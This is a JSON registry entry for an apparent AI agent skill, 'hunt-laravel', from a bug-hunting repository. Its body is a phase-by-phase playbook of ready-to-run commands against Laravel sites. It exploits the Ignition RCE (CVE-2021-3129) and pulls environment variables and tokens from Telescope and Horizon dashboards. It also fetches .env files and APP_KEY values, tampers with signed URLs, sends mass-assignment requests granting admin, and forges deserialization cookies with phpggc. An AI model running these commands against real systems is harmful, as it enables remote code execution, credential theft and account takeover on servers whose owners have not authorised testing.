{"id":"hunt-laravel","name":"hunt-laravel","summary":"Hunt Laravel特有の脆弱性 — デバッグモードのリーキー(APP_DEBUG=trueはフルスタックトレース+env varsを露出)、Laravel Telescope/Horizonダッシュボードの不正アクセス、Ignition RCE(CVE-2021-3129)、署名付きURL操作、Queue Wo…","body":"# HUNT-LARAVEL — Laravel Specific Vulnerabilities\n\n## Crown Jewel Targets\n\nLaravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).\n\n**Highest-value findings:**\n- **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth\n- **Telescope dashboard** — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables\n- **Horizon dashboard** — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)\n- **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions\n- **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO\n\n---\n\n## Phase 1 — Fingerprint Laravel\n\n```bash\n# Laravel-specific indicators\ncurl -sI https://$TARGET/ | grep -i \"laravel_session\\|x-powered-by.*php\"\ncurl -s https://$TARGET/ | grep -i \"laravel\\|Illuminate\\|csrf-token\"\n\n# Common Laravel paths\nfor path in /storage /public /resources \"/vendor/laravel\" \"/.env\" \"/artisan\"; do\n  STATUS=$(curl -s -o /dev/null -w \"%{http_code}\" \"https://$TARGET$path\")\n  [ \"$STATUS\" != \"404\" ] && echo \"$path: $STATUS\"\ndone\n\n# Check error page (trigger 404)\ncurl -s \"https://$TARGET/definitely-does-not-exist-xyz\" | grep -i \"laravel\\|Whoops\\|Ignition\\|symfony\"\n```\n\n---\n\n## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)\n\n```bash\n# Step 1: Check if debug mode is enabled (Whoops error page)\ncurl -s \"https://$TARGET/nonexistent\" | grep -i \"Whoops\\|APP_DEBUG\\|Ignition\"\n\n# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129\n\n# Step 2: Check Ignition endpoint\ncurl -s \"https://$TARGET/_ignition/health-check\" | head -5\n\n# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation\n# (Requires debug mode + writable storage/logs)\n# Tool: ambionics/laravel-ignition-rce\ngit clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce\nphp /tmp/laravel-rce/exploit.php https://$TARGET \"id\"\n\n# Manual test — send solution request\ncurl -s -X POST \"https://$TARGET/_ignition/execute-solution\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"solution\": \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\",\n    \"parameters\": {\n      \"variableName\": \"x\",\n      \"viewFile\": \"php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log\"\n    }\n  }'\n```\n\n---\n\n## Phase 3 — Laravel Telescope & Horizon\n\n```bash\n# Telescope — request/response logs, DB queries, jobs, cache, events\ncurl -s \"https://$TARGET/telescope\" | grep -i \"telescope\\|laravel\"\ncurl -s \"https://$TARGET/telescope/api/requests\" | python3 -m json.tool 2>/dev/null | head -50\ncurl -s \"https://$TARGET/telescope/api/commands\" | python3 -m json.tool 2>/dev/null | head -30\ncurl -s \"https://$TARGET/telescope/api/redis\" | python3 -m json.tool 2>/dev/null | head -30\ncurl -s \"https://$TARGET/telescope/api/environment\" | python3 -m json.tool 2>/dev/null | head -50\n\n# Horizon — queue worker dashboard\ncurl -s \"https://$TARGET/horizon\" | grep -i \"horizon\\|laravel\"\ncurl -s \"https://$TARGET/horizon/api/stats\" | python3 -m json.tool 2>/dev/null\ncurl -s \"https://$TARGET/horizon/api/jobs/failed\" | python3 -m json.tool 2>/dev/null | head -50\n# Failed job payloads often contain full request data including auth tokens\n\n# Common paths\nfor path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do\n  STATUS=$(curl -s -o /dev/null -w \"%{http_code}\" \"https://$TARGET$path\")\n  [ \"$STATUS\" = \"200\" ] && echo \"[+] ACCESSIBLE: $TARGET$path\"\ndone\n```\n\n---\n\n## Phase 4 — .env File & APP_KEY Exposure\n\n```bash\n# Direct .env access\ncurl -s \"https://$TARGET/.env\" | grep -i \"APP_KEY\\|DB_PASSWORD\\|SECRET\\|KEY\"\ncurl -s \"https://$TARGET/.env.production\"\ncurl -s \"https://$TARGET/.env.backup\"\ncurl -s \"https://$TARGET/.env.local\"\n\n# If APP_KEY found:\nAPP_KEY=\"base64:XXXXXXX\"\necho \"APP_KEY=$APP_KEY\"\n# → Can decrypt all Laravel encrypted cookies\n# → Can forge session cookies → ATO for any user\n\n# Also check\ncurl -s \"https://$TARGET/storage/logs/laravel.log\" | tail -100 | grep -i \"exception\\|error\\|key\\|password\"\n```\n\n---\n\n## Phase 5 — Signed URL Manipulation\n\n```bash\n# Laravel signed URLs contain signature param: ?signature=HASH\n# Find signed URL endpoints\ncat recon/$TARGET/urls.txt | grep \"signature=\"\n\n# Test: modify a non-signature parameter — should fail validation\nSIGNED_URL=\"https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG\"\n\n# Modify user ID → should fail if properly signed\ncurl -s \"${SIGNED_URL/user=123/user=999}\"\n\n# Test signature bypass: remove signature entirely\ncurl -s \"${SIGNED_URL/&signature=VALID_SIG/}\"\n\n# Test: does the app validate ALL parameters or just some?\ncurl -s \"${SIGNED_URL}&extra=malicious\"\n```\n\n---\n\n## Phase 6 — Mass Assignment via Eloquent\n\n```bash\n# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly\n# Test: add extra fields to update/create requests\n\n# Profile update\ncurl -s -X POST \"https://$TARGET/api/profile\" \\\n  -H \"Cookie: laravel_session=SESSION\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\": \"Test\", \"email\": \"test@test.com\", \"is_admin\": true, \"role\": \"admin\"}'\n\n# Registration\ncurl -s -X POST \"https://$TARGET/api/register\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\": \"Test\", \"email\": \"test@new.com\", \"password\": \"test123\", \"verified\": true, \"admin\": 1}'\n```\n\n---\n\n## Phase 7 — Laravel Cookie Deserialization\n\n```bash\n# If APP_KEY is known, forge a session cookie with malicious serialized payload\n# Uses phpggc gadget chains\n\n# Get the app key\nAPP_KEY=$(curl -s \"https://$TARGET/.env\" | grep \"^APP_KEY=\" | cut -d= -f2)\n\n# Generate payload with phpggc\nphp phpggc Laravel/RCE5 system 'id' | base64\n\n# Sign the cookie with the app key using laravel-cookie-forge script\n# python3 laravel_cookie_forge.py --key \"$APP_KEY\" --payload \"PHPGGC_PAYLOAD\"\n```\n\n---\n\n## Chain Table\n\n| Laravel finding | Chain to | Impact |\n|----------------|----------|--------|\n| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |\n| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |\n| Horizon accessible | Read failed job payloads | High - PII/token exfil |\n| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |\n| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |\n| Mass assignment | Set is_admin=true → privilege escalation | Critical |\n\n---\n\n## Validation\n\n✅ Ignition RCE: `id` command output returned in response\n✅ Telescope: API responses contain DB queries with credentials or user tokens\n✅ APP_KEY: Forged session cookie accepted, returns another user's profile\n✅ Mass assignment: `is_admin: true` accepted, account now has admin privileges\n\n**Severity:**\n- Ignition RCE: Critical\n- Telescope/Horizon with sensitive data: High\n- .env with APP_KEY: Critical\n- Mass assignment to admin: Critical","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-laravel","license":"MIT","category":"security","lang":"en","tokens":1982,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}